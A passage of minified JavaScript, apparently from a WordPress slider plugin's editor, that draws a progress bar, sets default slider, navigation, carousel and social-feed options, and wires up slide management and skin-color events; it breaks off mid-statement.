RVS.C.pbar[0].innerHTML='',RVS.C.pbars=RVS.C.pbar[0].getElementsByClassName("rev_progress_bar")[0],tpGS.gsap.set(RVS.C.pbar,{top:"top"===e.vertical?e.y:"center"===e.vertical?"50%":"auto",bottom:"top"===e.vertical||"center"===e.vertical?"auto":e.y,left:"left"===e.horizontal?e.x:"center"===e.horizontal?"50%":"auto",right:"left"===e.horizontal||"center"===e.horizontal?"auto":e.x,y:"center"===e.vertical?e.y:0,x:"center"===e.horizontal?e.x:0,width:2*e.radius,height:2*e.radius,marginTop:"bottom"===e.vertical?0:"top"===e.vertical?0:0-e.radius,marginLeft:"left"===e.horizontal?0:"right"===e.horizontal?0:0-e.radius,backgroundColor:"transparent"}),P();RVS.C.pbar.removeClass("deactivated")}else RVS.C.pbar.addClass("deactivated")}function P(e){var t=RVS.SLIDER.settings.general.progressbar,i=RVS.C.pbars.getContext("2d"),a=parseInt(t.radius),r=parseInt(t.radius),s="cw"!==t.style?294:64;i.lineCap="round",i.clearRect(0,0,2*t.radius,2*t.radius),i.beginPath(),i.arc(a,r,t.radius-parseInt(t.size,0),Math.PI/180*270,Math.PI/180*630),i.strokeStyle=void 0!==e&&void 0!==e.bgcolor?e.bgcolor:t.bgcolor,i.lineWidth=parseInt(t.size,0)-1,i.stroke(),i.beginPath(),i.strokeStyle=void 0!==e&&void 0!==e.color?e.color:t.color,i.lineWidth=parseInt(t.size,0),i.arc(a,r,t.radius-parseInt(t.size,0),Math.PI/180*270,Math.PI/180*(270+s),"cw"!==t.style),i.stroke()}function z(e,t,i){switch(e){case"progressgapcolor":"horizontal"!==RVS.SLIDER.settings.general.progressbar.style&&"vertical"!==RVS.SLIDER.settings.general.progressbar.style||tpGS.gsap.set(RVS.C.pbgaps,{bakgroundColor:t});break;case"sliderprogresscolor":"horizontal"===RVS.SLIDER.settings.general.progressbar.style||"vertical"===RVS.SLIDER.settings.general.progressbar.style?tpGS.gsap.set(RVS.C.pbars,{background:t}):P({color:t});break;case"sliderprogresscolorbg":"horizontal"===RVS.SLIDER.settings.general.progressbar.style||"vertical"===RVS.SLIDER.settings.general.progressbar.style?tpGS.gsap.set(RVS.C.pbar,{background:t}):P({bgcolor:t});break;case"sliderbgcolor":i?j():(tpGS.gsap.set(RVS.C.UL,{background:t}),j(!0,t));break;case"sliderTabBgColor":RVS.F.bgUpdate("tabs",t);break;case"sliderThumbBgColor":RVS.F.bgUpdate("thumbs",t);break;case"module_spinner_color":F(t)}}function H(e,t,i,a,r,s){var o=!1;if(void 0!==t?window.lastColorEditjObj=jQuery(t):(void 0!==window.lastColorEditjObj&&(i=window.RSColor.get(window.lastColorEditjObj.val())),o=!0),void 0!==i&&(1==window.lastColorEditjObj[0].dataset.navcolor?RVS.F.drawNavigation({type:window.lastColorEditjObj[0].dataset.evtparam,color:i,attribute:window.lastColorEditjObj[0].name}):z(window.lastColorEditjObj[0].name,i,o),s&&!0!==o))for(var n in s.ref)if("slider"===s.ref[n].type&&z(s.ref[n].inpname,i,o),"navstyle"===s.ref[n].type&&RVS.F.drawNavigation({type:s.ref[n].evtparam,color:i,attribute:s.ref[n].inpname}),("slider"===s.ref[n].type||"navstyle"===s.ref[n].type)&&r){RVS.F.updateSliderObj({path:s.ref[n].r,val:i});var l=jQuery("input[name="+s.ref[n].inpname+"]");l.length>0&&(l[0].value=i,l.rsColorPicker("refresh"))}}function B(e){var t={};return t.addOns=jQuery.extend(!0,{},e.addOns)||{},t.version=RVS.ENV.revision,t.alias=N(e.alias,""),t.pakps=N(e.pakps,!1),t.shortcode=N(e.shortcode,""),t.type=N(e.type,"standard"),t.layouttype=N(e.layouttype,"fullwidth"),t.sourcetype=N(e.sourcetype,"gallery"),t.title=N(e.title,"New Slider"),t.googleFont=N(e.googleFont,[]),t.id=N(e.id,""),t.class=N(e.class,""),t.wrapperclass=N(e.wrapperclass,""),t.snap=N(e.snap,{adjust:"none",snap:!1,helpLines:!1,gap:20}),t.source=N(e.source,{gallery:{},post:{excerptLimit:55,maxPosts:30,fetchType:"cat_tag",category:"",sortBy:"ID",types:"post",list:"",sortDirection:"DESC",subType:"post"},woo:{excerptLimit:55,maxProducts:30,featuredOnly:!1,inStockOnly:!1,category:"",sortBy:"ID",types:"product",sortDirection:"DESC",regPriceFrom:"",regPriceTo:"",salePriceFrom:"",salePriceTo:""},instagram:{count:8,hashTag:"",transient:1200,type:"user",userId:"",token_source:"account",connect_with:""},facebook:{album:"",appId:"",appSecret:"",count:8,transient:1200,typeSource:"timeline",token_source:"account",connect_with:"",page_id:""},flickr:{apiKey:"",count:8,galleryURL:"",groupURL:"",photoSet:"",transient:1200,type:"publicphotos",userURL:""},twitter:{accessSecret:"",accessToken:"",consumerKey:"",consumerSecret:"",count:8,excludeReplies:!1,imageOnly:!1,includeRetweets:!1,transient:1200,userId:""},vimeo:{albumId:"",channelName:"",count:8,transient:1200,groupName:"",typeSource:"user",userName:""},youtube:{api:"",channelId:"",count:8,playList:"",transient:1200,typeSource:"channel"}}),void 0!==t.source.facebook&&delete t.source.facebook.pageURL,void 0!==t.source&&void 0!==t.source.post&&-1==(""+t.source.post.excerptLimit).indexOf("chars")&&(""+t.source.post.excerptLimit).indexOf("char")>=0&&(t.source.post.excerptLimit=t.source.post.excerptLimit.replace("char","words")),void 0!==t.source&&void 0!==t.source.woo&&-1==(""+t.source.woo.excerptLimit).indexOf("chars")&&(""+t.source.woo.excerptLimit).indexOf("char")>=0&&(t.source.woo.excerptLimit=t.source.woo.excerptLimit.replace("char","words")),"youtube"===t.sourcetype&&(""===t.source.youtube.count&&(t.source.youtube.count=8),""===t.source.youtube.channelId&&(t.source.youtube.channelId="UCpVm7bg6pXKo1Pr6k5kxG9A")),"vimeo"===t.sourcetype&&""===t.source.vimeo.count&&(t.source.vimeo.count=8),"twitter"===t.sourcetype&&""===t.source.twitter.count&&(t.source.twitter.count=8),"flickr"===t.sourcetype&&""===t.source.flickr.count&&(t.source.flickr.count=8),"facebook"===t.sourcetype&&""===t.source.facebook.count&&(t.source.facebook.count=8),t.def=N(e.def,{intelligentInherit:!0,autoResponsive:!0,responsiveChilds:!0,responsiveOffset:!0,transition:"fade",transitionDuration:300,delay:9e3,background:{fit:"cover",fitX:100,fitY:100,position:"center center",positionX:0,positionY:0,repeat:"no-repeat"},panZoom:{set:!1,blurStart:0,blurEnd:0,duration:1e4,ease:"none",fitEnd:100,fitStart:100,xEnd:0,yEnd:0,xStart:0,yStart:0,rotateStart:0,rotateEnd:0}}),t.def.intelligentInherit=void 0===t.def.intelligentInherit||t.def.intelligentInherit,t.def.autoResponsive=void 0===t.def.autoResponsive||t.def.autoResponsive,t.def.responsiveChilds=void 0===t.def.responsiveChilds||t.def.responsiveChilds,t.def.responsiveOffset=void 0===t.def.responsiveOffset||t.def.responsiveOffset,t.size=N(e.size,{enableUpscaling:!1,respectAspectRatio:!1,disableForceFullWidth:!1,custom:{d:!0,n:!1,t:!1,m:!1},minHeightFullScreen:"",minHeight:"",maxWidth:0,maxHeight:0,fullScreenOffsetContainer:"",fullScreenOffset:"",width:{d:1240,n:1024,t:778,m:480},height:{d:900,n:768,t:960,m:720},editorCache:{d:0,n:0,t:0,m:0},overflow:!1,useFullScreenHeight:!0,overflowHidden:!1,gridEQModule:!1,forceOverflow:!1,keepBPHeight:!1,ignoreHeightChanges:!0}),t.size.editorCache=void 0===t.size.editorCache?{d:0,n:0,t:0,m:0}:t.size.editorCache,t.size.editorCache.d=0===t.size.editorCache.d?t.size.height.d:t.size.editorCache.d,t.size.editorCache.n=0===t.size.editorCache.n?t.size.height.n:t.size.editorCache.n,t.size.editorCache.t=0===t.size.editorCache.t?t.size.height.t:t.size.editorCache.t,t.size.editorCache.m=0===t.size.editorCache.m?t.size.height.m:t.size.editorCache.m,t.codes=N(e.codes,{css:"",javascript:""}),t.carousel=N(e.carousel,{orientation:"h",prevNextVis:"50px",justify:!1,justifyMaxWidth:!1,snap:!0,borderRadius:0,borderRadiusUnit:"px",ease:"power3.inOut",fadeOut:!0,scale:!1,offsetScale:!1,horizontal:"center",vertical:"center",infinity:!1,maxItems:3,maxRotation:0,maxOpacity:100,paddingTop:0,paddingBottom:0,rotation:!1,scaleDown:50,space:0,speed:800,stretch:!1,varyFade:!1,varyRotate:!1,varyScale:!1,showAllLayers:"false",skewX:0,skewY:0,spin:"off",spinAngle:0,overshoot:!1}),t.carousel.showAllLayers="true"===t.carousel.showAllLayers||!0===t.carousel.showAllLayers?"all":t.carousel.showAllLayers,t.hero=N(e.hero,{activeSlide:-1}),t.layout=N(e.layout,{bg:{color:"transparent",padding:0,dottedOverlay:"none",dottedOverlaySize:1,dottedColorA:"transparent",dottedColorB:"#000000",shadow:0,useImage:!1,image:"",imageSourceType:"full",fit:"cover",position:"center center",repeat:"no-repeat"},spinner:{color:"#ffffff",type:"off"},position:{marginTop:0,marginBottom:0,marginLeft:0,marginRight:0,align:"center",fixedOnTop:!1,addClear:!1}}),void 0!==t&&void 0!==t.layout&&void 0!==t.layout.bg&&(t.layout.bg.dottedOverlay.indexOf("white")>0&&(t.layout.bg.dottedColorB="rgba(255,255,255,255)"),t.layout.bg.dottedOverlay.indexOf("twoxtwo")>=0?t.layout.bg.dottedOverlay="1":t.layout.bg.dottedOverlay.indexOf("threexthree")>=0&&(t.layout.bg.dottedOverlay="2")),t.visibility=N(e.visibility,{hideSelectedLayersUnderLimit:0,hideAllLayersUnderLimit:0,hideSliderUnderLimit:0}),t.general=N(e.general,{slideshow:{slideShow:!0,stopOnHover:!1,stopSlider:!1,stopAfterLoops:0,stopAtSlide:1,shuffle:!1,loopSingle:!1,viewPort:!1,viewPortStart:"wait",viewPortArea:RVS.F.cToResp({default:"200px"}),presetSliderHeight:!1,initDelay:0,waitForInit:!1},progressbar:{set:!1,alignby:"slider",style:"horizontal",size:"5px",radius:10,vertical:"bottom",horizontal:"left",x:0,y:0,color:"rgba(255,255,255,0.5)",bgcolor:"transparent",basedon:"slide",gapsize:0,gap:!1,gapcolor:"rgba(255,255,255,0.5)",reset:"reset",visibility:{d:!0,m:!0,n:!0,t:!0}},firstSlide:{set:!1,duration:300,slotAmount:7,type:"fade",alternativeFirstSlideSet:!1,alternativeFirstSlide:1},icache:"default",DPR:"dpr",observeWrap:!1,layerSelection:!1,lazyLoad:"none",nextSlideOnFocus:!1,disableFocusListener:!1,enableurlhash:!1,disableOnMobile:!1,autoPlayVideoOnMobile:!0,disablePanZoomMobile:!1,useWPML:!1,perspective:600,perspectiveType:"global"}),void 0!==t.general.progressbar&&(void 0!==t.general.progressbar.height&&(t.general.progressbar.size=t.general.progressbar.height,delete t.general.progressbar.height),void 0!==t.general.progressbar.position&&(t.general.progressbar.vertical=t.general.progressbar.position,delete t.general.progressbar.position)),void 0===t.general.perspectiveType&&(t.general.perspectiveType="local"),void 0===t.general.perspective&&(t.general.perspective=600),"object"!=typeof t.general.slideshow.viewPortArea&&(t.general.slideshow.viewPortArea=RVS.F.cToResp({default:t.general.slideshow.viewPortArea})),void 0!==e&&void 0!==e.nav&&void 0!==e.nav.swipe&&(e.nav.swipe.setMobileCarousel=void 0===e.nav.swipe.setMobileCarousel||e.nav.swipe.setMobileCarousel,e.nav.swipe.setDesktopCarousel=void 0===e.nav.swipe.setDesktopCarousel||e.nav.swipe.setDesktopCarousel),t.nav=N(e.nav,{preview:{width:50,height:100},swipe:{set:!1,setOnDesktop:!1,setMobileCarousel:!0,setDesktopCarousel:!0,blockDragVertical:!1,direction:"horizontal",minTouch:1,velocity:75},keyboard:{direction:"horizontal",set:!1},mouse:{set:"off",reverse:"default",viewport:50,calldelay:1e3,threshold:50},arrows:{set:!1,rtl:!1,animSpeed:"1000ms",animDelay:"1000ms",style:"1000",preset:"default",presets:{},alwaysOn:!0,hideDelay:200,hideDelayMobile:1200,hideOver:!1,hideOverLimit:0,hideUnder:!1,hideUnderLimit:778,left:{anim:"fade",horizontal:"left",vertical:"center",offsetX:30,offsetY:0,align:"slider"},right:{anim:"fade",horizontal:"right",vertical:"center",offsetX:30,offsetY:0,align:"slider"}},thumbs:{anim:"fade",animSpeed:"1000ms",animDelay:"1000ms",set:!1,rtl:!1,style:"2000",preset:"default",presets:{},alwaysOn:!0,hideDelay:200,hideDelayMobile:1200,hideOver:!1,hideOverLimit:0,hideUnder:!1,hideUnderLimit:778,spanWrapper:!1,horizontal:"center",vertical:"bottom",amount:5,direction:"horizontal",height:50,width:100,widthMin:100,innerOuter:"inner",offsetX:0,offsetY:20,space:5,align:"slider",padding:5,wrapperColor:"transparent",mhoffset:0,mvoffset:0},tabs:{anim:"fade",animSpeed:"1000ms",animDelay:"1000ms",set:!1,rtl:!1,style:"4000",preset:"default",presets:{},alwaysOn:!0,hideDelay:200,hideDelayMobile:1200,hideOver:!1,hideOverLimit:0,hideUnder:!1,hideUnderLimit:778,spanWrapper:!1,horizontal:"center",vertical:"bottom",amount:5,direction:"horizontal",height:50,width:100,widthMin:100,innerOuter:"inner",offsetX:0,offsetY:20,space:5,align:"slider",padding:5,wrapperColor:"transparent",mhoffset:0,mvoffset:0},bullets:{anim:"fade",animSpeed:"1000ms",animDelay:"1000ms",set:!1,rtl:!1,style:"3000",preset:"default",presets:{},alwaysOn:!0,horizontal:"center",vertical:"bottom",direction:"horizontal",offsetX:0,offsetY:20,align:"slider",space:5,hideDelay:200,hideDelayMobile:1200,hideOver:!1,hideOverLimit:0,hideUnder:!1,hideUnderLimit:778}}),void 0!==t.nav&&(void 0===t.nav.arrows||""!=t.nav.arrows.style&&null!=t.nav.arrows.style||(t.nav.arrows.style="1000"),void 0===t.nav.thumbs||""!=t.nav.thumbs.style&&null!=t.nav.thumbs.style||(t.nav.thumbs.style="2000"),void 0===t.nav.bullets||""!=t.nav.bullets.style&&null!=t.nav.bullets.style||(t.nav.bullets.style="3000"),void 0===t.nav.tabs||""!=t.nav.tabs.style&&null!=t.nav.tabs.style||(t.nav.tabs.style="4000")),t.troubleshooting=N(e.troubleshooting,{alternateImageType:"off",alternateURL:"",jsNoConflict:!1,jsInBody:!1,outPutFilter:"none",simplify_ie8_ios4:!1}),t.parallax=N(e.parallax,{set:!1,setDDD:!1,disableOnMobile:!1,levels:[5,10,15,20,25,30,35,40,45,46,47,48,49,50,51,30],ddd:{BGFreeze:!1,layerOverflow:!1,overflow:!1,shadow:!1,zCorrection:65},mouse:{speed:0,bgSpeed:0,layersSpeed:0,origo:"slidercenter",type:"scroll",omulti:1,smulti:1,env:"single",dir:"same"}}),t.modal=N(e.modal,{bodyclass:"",horizontal:"center",vertical:"middle",cover:!0,allowPageScroll:!1,coverColor:"rgba(0,0,0,0.5)",coverSpeed:1e3}),void 0!==t.modal&&(t.modal.coverSpeed=t.modal.coverSpeed<10?1e3*t.modal.coverSpeed:t.modal.coverSpeed),t.scrolleffects=N(e.scrolleffects,{set:!1,setBlur:!1,setFade:!1,setGrayScale:!1,bg:!1,direction:"both",layers:!1,maxBlur:10,multiplicator:"1.3",multiplicatorLayers:"1.3",disableOnMobile:!1,parallaxLayers:!1,staticLayers:!1,staticParallaxLayers:!1,tilt:30}),t.scrolltimeline=N(e.scrolltimeline,{set:!1,fixed:!1,fixedStart:2e3,fixedEnd:4e3,layers:!1,ease:"none",speed:500,pullcontent:!1}),t.skins=N(e.skins,{colorsAtStart:!1}),t.source.post.fetchType=void 0===t.source.post.fetchType?"cat_tag":t.source.post.fetchType,t.source.instagram.hashTag=void 0===t.source.instagram.hashTag?"":t.source.instagram.hashTag,t.source.instagram.transient=void 0===t.source.instagram.transient?1200:t.source.instagram.transient,t.source.instagram.type=void 0===t.source.instagram.type?"":t.source.instagram.type,t.source.flickr.transient=void 0===t.source.flickr.transient?1200:t.source.flickr.transient,t.source.vimeo.transient=void 0===t.source.vimeo.transient?1200:t.source.vimeo.transient,t.source.youtube.transient=void 0===t.source.youtube.transient?1200:t.source.youtube.transient,t.def.transition=void 0===t.def.transition?"fade":t.def.transition,t.def.background.imageSourceType=void 0===t.def.background.imageSourceType?"full":t.def.background.imageSourceType,t.def.panZoom.blurStart=void 0===t.def.panZoom.blurStart?0:t.def.panZoom.blurStart,t.def.panZoom.blurEnd=void 0===t.def.panZoom.blurEnd?0:t.def.panZoom.blurEnd,t.size.maxWidth=void 0===t.size.maxWidth?"":t.size.maxWidth,t.carousel.ease=void 0===t.carousel.ease?"power3.inOut":t.carousel.ease,t.carousel.speed=void 0===t.carousel.speed?"800":t.carousel.speed,void 0!==t.general.firstSlide&&(t.general.firstSlide.alternativeFirstSlideSet=void 0===t.general.firstSlide.alternativeFirstSlideSet?"":t.general.firstSlide.alternativeFirstSlideSet),t.nav.preview&&(t.nav.preview.width=void 0===t.nav.preview.width?50:t.nav.preview.width),t.nav.preview&&(t.nav.preview.height=void 0===t.nav.preview.height?100:t.nav.preview.height),t.nav.mouse&&(t.nav.mouse.reverse=void 0===t.nav.mouse.reverse?"default":t.nav.mouse.reverse),t.nav.arrows.left&&(t.nav.arrows.left.align=void 0===t.nav.arrows.left.align?"slider":t.nav.arrows.left.align),t.nav.arrows.right&&(t.nav.arrows.right.align=void 0===t.nav.arrows.right.align?"slider":t.nav.arrows.right.align),t.nav.bullets&&(t.nav.bullets.align=void 0===t.nav.bullets.align?"slider":t.nav.bullets.align),t.parallax.ddd.zCorrection=void 0===t.parallax.ddd.zCorrection?65:t.parallax.ddd.zCorrection,t.parallax.mouse.bgSpeed=void 0===t.parallax.mouse.bgSpeed?0:t.parallax.mouse.bgSpeed,t.parallax.mouse.layersSpeed=void 0===t.parallax.mouse.layersSpeed?1e3:t.parallax.mouse.layersSpeed,t.scrolleffects.bg=void 0!==t.scrolleffects.bg&&t.scrolleffects.bg,t.scrolleffects.direction=void 0===t.scrolleffects.direction?"both":t.scrolleffects.direction,t.scrolleffects.maxBlur=void 0===t.scrolleffects.maxBlur?10:t.scrolleffects.maxBlur,t.scrolleffects.multiplicator=void 0===t.scrolleffects.multiplicator?"1.3":t.scrolleffects.multiplicator,t.scrolleffects.multiplicatorLayers=void 0===t.scrolleffects.multiplicatorLayers?"1.3":t.scrolleffects.multiplicatorLayers,t.scrolleffects.tilt=void 0===t.scrolleffects.tilt?"":t.scrolleffects.tilt,t}function N(e,t){return null==e?t:e}RVS.S.rulerOffset={x:0,y:0},RVS.F.setSlider=function(e){return e=void 0===e||0==e.length?{}:e,"undefined"!=typeof _rmig_&&(e=_rmig_.migrateSlider(e)),jQuery.extend(!0,B({}),B(e))},RVS.F.initSliderBuilder=function(){for(var S in RVS.C.rb=jQuery("#rev_builder"),RVS.C.tRC=document.getElementById("the_right_toolbar"),RVS.C.UL=_ul=jQuery("#rev_slider_ul"),RVS.C.parllaxMouseSelect=jQuery("#slider_parallax_mouse_sens_event"),e=jQuery("#layer_grid"),t=jQuery("#rev_slider_inbuild"),i=jQuery("#ruler_top_offset"),a=jQuery("#ruler_left_offset"),r=jQuery("#ruler_hor_marker"),s=jQuery("#ruler_ver_marker"),o=jQuery("#rev_builder_inner"),RVS.F.updateEasyInputs({container:jQuery("#rs-layout-type"),trigger:"init"}),function(){if(RVS.ENV.skinColors=void 0===RVS.ENV.skinColors?jQuery("#module_color_skins"):RVS.ENV.skinColors,RVS.ENV.skinFonts=void 0===RVS.ENV.skinFonts?jQuery("#module_font_skins"):RVS.ENV.skinFonts,void 0!==RVS.SLIDER.settings.skins)for(var e in void 0===RVS.SLIDER.settings.skins.colors&&(RVS.SLIDER.settings.skins.cid=2,RVS.SLIDER.settings.skins.colors={0:{alias:"Highlight",v:"#ff0000"},1:{alias:"Headline Text",v:"#ffffff"},2:{alias:"Content Text",v:"#00ffff"}}),RVS.SLIDER.settings.skins.colors)if(RVS.SLIDER.settings.skins.colors.hasOwnProperty(e)){var t=RVS.SLIDER.settings.skins.colors[e];_(t,e)}}(),jQuery("#screenselector").on("change",function(e){RVS.screen=this.value,RVS.S.nextscreen="d"===RVS.screen?"none":"n"===RVS.screen?"d":"t"===RVS.screen?"n":"m"==RVS.screen?"t":"none",RVS.S.prevscreen="d"===RVS.screen?"n":"n"===RVS.screen?"t":"t"===RVS.screen?"m":"none",jQuery(".screen_selector.selected").removeClass("selected"),jQuery(".screen_selector.ss_"+RVS.screen).addClass("selected"),O(!1),RVS.DOC.trigger("sliderSizeChanged"),RVS.F.setRulers()}),RVS.DOC.on("click","#newslide, #add_blank_slide",function(){return RVS.F.addRemoveSlideWithBackupAfterSlideId({id:"addnewslide",step:"Add New Slide",icon:"fiber_new",slideObj:{slide:RVS.F.addSlideObj(),layers:{}},slideObjOld:{},beforeSelected:RVS.S.slideId,after:function(){RVS.DOC.trigger("changeToSlideMode")}}),!1}),RVS.DOC.on("addBulkSlides",function(e,t){return RVS.F.addRemoveSlideWithBackupAfterSlideId({id:"addnewslide",step:"Add New Slide",icon:"fiber_new",slideObj:{slide:RVS.F.addSlideObj(),layers:{}},slideObjOld:{},beforeSelected:RVS.S.slideId,urls:t.urlImage,endOfMain:function(){RVS.DOC.trigger("changeToSlideMode"),setTimeout(function(){RVS.DOC.trigger("saveslider",{force:!0})},500)}}),!1}),RVS.DOC.on("click","#add_template_slide",function(){RVS.F.openObjectLibrary({types:["moduletemplates","modules"],filter:"all",selected:["moduletemplates"],context:"editor",success:{slide:"addSlideFromTemplate"}})}),RVS.DOC.on("click","#add_module_slide",function(){RVS.F.openObjectLibrary({types:["modules","moduletemplates"],filter:"all",selected:["modules"],context:"editor",success:{slide:"addSlideFromTemplate"}})}),RVS.DOC.on("addSlideFromTemplate",function(e,t){RVS.F.ajaxRequest("install_template_slide",{slider_id:RVS.ENV.sliderID,slide_id:t},function(e){if(e.success){for(var t in e.slides)if(e.slides.hasOwnProperty(t)){var i={slide:RVS.F.addSlideObj(RVS.F.expandSlide(e.slides[t].params)),layers:{},id:e.slides[t].id};for(var a in e.slides[t].layers)if(e.slides[t].layers.hasOwnProperty(a)){var r=e.slides[t].layers[a],s=RVS.F.addLayerObj(jQuery.extend(!0,RVS.F.addLayerObj(r.type,void 0,!0),r));s&&(i.layers[s.uid]=s)}RVS.SLIDER[e.slides[t].id]=i,RVS.SLIDER.slideIDs.push(e.slides[t].id),RVS.F.addToSlideList({id:e.slides[t].id})}RVS.F.mainMode({mode:"slidelayout",set:!0,slide:e.slides[0].id})}})}),RVS.DOC.on("updatepublishicons",function(e,t){void 0!==t&&void 0!==t.val&&(document.getElementById("publish_toggle_icon_"+RVS.S.slideId).className=t.val+"slide")}),RVS.DOC.on("click",".publishedslide, .unpublishedslide",function(){var e=jQuery(this).closest("li").data("ref");return RVS.SLIDER[e].slide.publish.state="published"===RVS.SLIDER[e].slide.publish.state?"unpublished":"published",this.className=RVS.SLIDER[e].slide.publish.state+"slide",RVS.F.updateEasyInputs({container:jQuery("#form_slidegeneral_progstate"),path:e+".slide.",trigger:"init"}),RVS.F.slideinWork(e),!1}),RVS.DOC.on("deletesingleslide",function(){RVS.F.addRemoveSlideWithBackup({id:"deleteslide",step:"Remove Slide",icon:"remove",slideObjOld:jQuery.extend(!0,{},RVS.SLIDER[window.delete_slide_id]),slideId:window.delete_slide_id,slideObj:{},beforeSelected:RVS.S.slideId})}),RVS.DOC.on("click",".deleteslide, #do_delete_slide",function(){return window.delete_slide_id="do_delete_slide"===this.id?RVS.S.slideId:jQuery(this).closest("li").data("ref"),RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteslide,maintext:RVS_LANG.deletingslide,subtext:RVS_LANG.deleteselectedslide+" "+RVS.SLIDER[window.delete_slide_id].slide.title+" ?",do:{icon:"delete",text:RVS_LANG.yesdeleteslide,event:"deletesingleslide"},cancel:{icon:"cancel",text:RVS_LANG.cancel}}),!1}),RVS.DOC.on("click",".duplicateslide, #do_duplicate_slide",function(){var e="do_duplicate_slide"===this.id?RVS.S.slideId:jQuery(this).closest("li").data("ref");return RVS.F.addRemoveSlideWithBackupAfterSlideId({id:"duplicateslide",step:"Duplicate Existing Slide",icon:"content_copy",slideObj:jQuery.extend(!0,{},RVS.SLIDER[e]),fromSlideId:e,slideObjOld:{},beforeSelected:RVS.S.slideId}),!1}),RVS.DOC.on("click",".addchildslide, #do_addchild_slide",function(){var e="do_addchild_slide"===this.id?RVS.S.slideId:jQuery(this).closest("li").data("ref");return RVS.F.addRemoveSlideWithBackupAfterSlideId({id:"duplicateslide",parentId:e,step:"Duplicate Existing Slide",icon:"content_copy",slideObj:jQuery.extend(!0,{},RVS.SLIDER[e]),fromSlideId:e,slideObjOld:{},beforeSelected:RVS.S.slideId}),!1}),function(){RVS.DOC.on("carouselverticaldouble",function(e,t){if(void 0!==t){var i=document.getElementById(t);if(null==i||null==i)return;RVS.F.openBackupGroup({id:"carouselverticalalign",txt:"Carousel Vertial Align",icon:"ui_y"}),RVS.F.updateSliderObj({path:"settings.carousel.vertical",val:i.value}),RVS.F.closeBackupGroup({id:"carouselverticalalign"}),RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_caroussel"),trigger:"init",visualUpdate:!0})}}),RVS.DOC.on("click","#add_skin_color",function(){void 0!==RVS.SLIDER.settings.skins&&(RVS.SLIDER.settings.skins.colors.length>10||(RVS.SLIDER.settings.skins.cid++,RVS.SLIDER.settings.skins.colors[RVS.SLIDER.settings.skins.cid]={alias:"Color Alias",v:"#ffffff"},_(RVS.SLIDER.settings.skins.colors[RVS.SLIDER.settings.skins.cid],RVS.SLIDER.settings.skins.cid),RVS.F.updateEasyInputs({container:RVS.ENV.skinColors,trigger:"init",visualUpdate:!0})))});var e=!1;RVS.DOC.on("click",".save_and_goto_button",function(){e=this.dataset.goto,RVS.DOC.trigger("saveslider")}),RVS.DOC.on("slidersaved",function(){!1!==e&&(window.location.href=e)}),RVS.DOC.on("deleteSkinColor",function(e,t){void 0!==t&&(RVS.S.skinColorToDelete=t,void 0!==RVS.SLIDER.settings.skins.colors[t].ref&&RVS.SLIDER.settings.skins.colors[t].ref.length>0?RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteskin,maintext:RVS_LANG.areyousuredeleteskin,subtext:RVS_LANG.colrskinhas+" "+RVS.SLIDER.settings.skins.colors[t].ref.length+" "+RVS_LANG.references+". "+RVS_LANG.colorwillkept,do:{icon:"check_circle",text:RVS_LANG.deleteskin,event:"forcedeleteskincolor"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0}):RVS.DOC.trigger("forcedeleteskincolor"))}),RVS.DOC.on("forcedeleteskincolor",function(){delete RVS.SLIDER.settings.skins.colors[RVS.S.skinColorToDelete],jQuery("#globalskin_colorrule_"+RVS.S.skinColorToDelete).remove()}),RVS.DOC.on("updateSnapVisual",function(){RVS.F.snapVisual()}),RVS.DOC.on("showhidescrollonssm",function(e,t){jQuery(".sr_sbased_tab").hide(),jQuery("#sr_sbased_"+t).show(),RVS.F.checkForFixedScroll()}),RVS.DOC.on("updateAutoRotate",function(e,t){if(void 0===t||void 0===t.val)RVS.SLIDER.settings.general.slideshow.slideShow||jQuery("#generalslideshow").hide();else{RVS.F.openBackupGroup({id:"autorotate",txt:"Auto Slideshow",icon:"play_circle_outline"});var i="settings.general.slideshow.";t.val?RVS.F.updateSliderObj({path:i+"stopSlider",val:!1}):(RVS.F.updateSliderObj({path:i+"stopSlider",val:!0}),RVS.F.updateSliderObj({path:i+"stopAfterLoops",val:0}),RVS.F.updateSliderObj({path:i+"stopAtSlide",val:1})),RVS.F.closeBackupGroup({id:"autorotate"}),RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_slideshow"),trigger:"init",visualUpdate:!0})}}),RVS.DOC.on("screenSelectorChanged",function(){RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_general_viewport"),init:"true"})}),RVS.DOC.on("checkOnScrollSettings",function(){void 0!==RVS.TL&&void 0!==RVS.TL.TL&&(RVS.SLIDER.settings.scrolltimeline.set&&RVS.SLIDER.settings.scrolltimeline.fixed&&"auto"!==RVS.SLIDER.settings.layouttype?RVS.TL.TL.addClass("fixedscrollon"):RVS.TL.TL.removeClass("fixedscrollon"),RVS.DOC.trigger("checkLayerLoopswithOnScroll"))}),RVS.DOC.on("checkLayerLoopswithOnScroll",function(){clearTimeout(RVS.S.checkLayerLoopswithOnScroll),RVS.S.checkLayerLoopswithOnScroll=setTimeout(function(){if(!0===RVS.SLIDER.settings.scrolltimeline.set){var e=!1;for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&void 0!==RVS.L[t].timeline&&void 0!==RVS.L[t].timeline.scrollBased&&("true"==RVS.L[t].timeline.scrollBased||"default"==RVS.L[t].timeline.scrollBased&&!0===RVS.SLIDER.settings.scrolltimeline.layers)&&(RVS.L[t].timeline.loop.use=!1,e=!0);e&&(RVS.F.updateEasyInputs({container:jQuery("#layer_looping_wrap"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.layerloopdisabledduetimeline,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""}))}},200)}),RVS.DOC.on("click",".insertineditor",function(){return RVS.F.insertTextAtCursor(window.rs_jscss_editor,"\n"+jQuery(this.dataset.insertfrom).val().replace("revapi.","revapi"+RVS.ENV.sliderID+".")+"\n"),!1}),RVS.DOC.on("click",".js_css_editor_tabs",function(){jQuery(".js_css_editor_tabs").removeClass("selected"),jQuery(this).addClass("selected"),RVS.SLIDER.settings.codes[window.rs_jscss_editor.getMode().name]=window.rs_jscss_editor.getValue(),window.rs_jscss_editor.setValue(RVS.SLIDER.settings.codes[this.dataset.mode]),window.rs_jscss_editor.setOption("mode",this.dataset.mode)}),RVS.DOC.on("click","#emc_toggle, 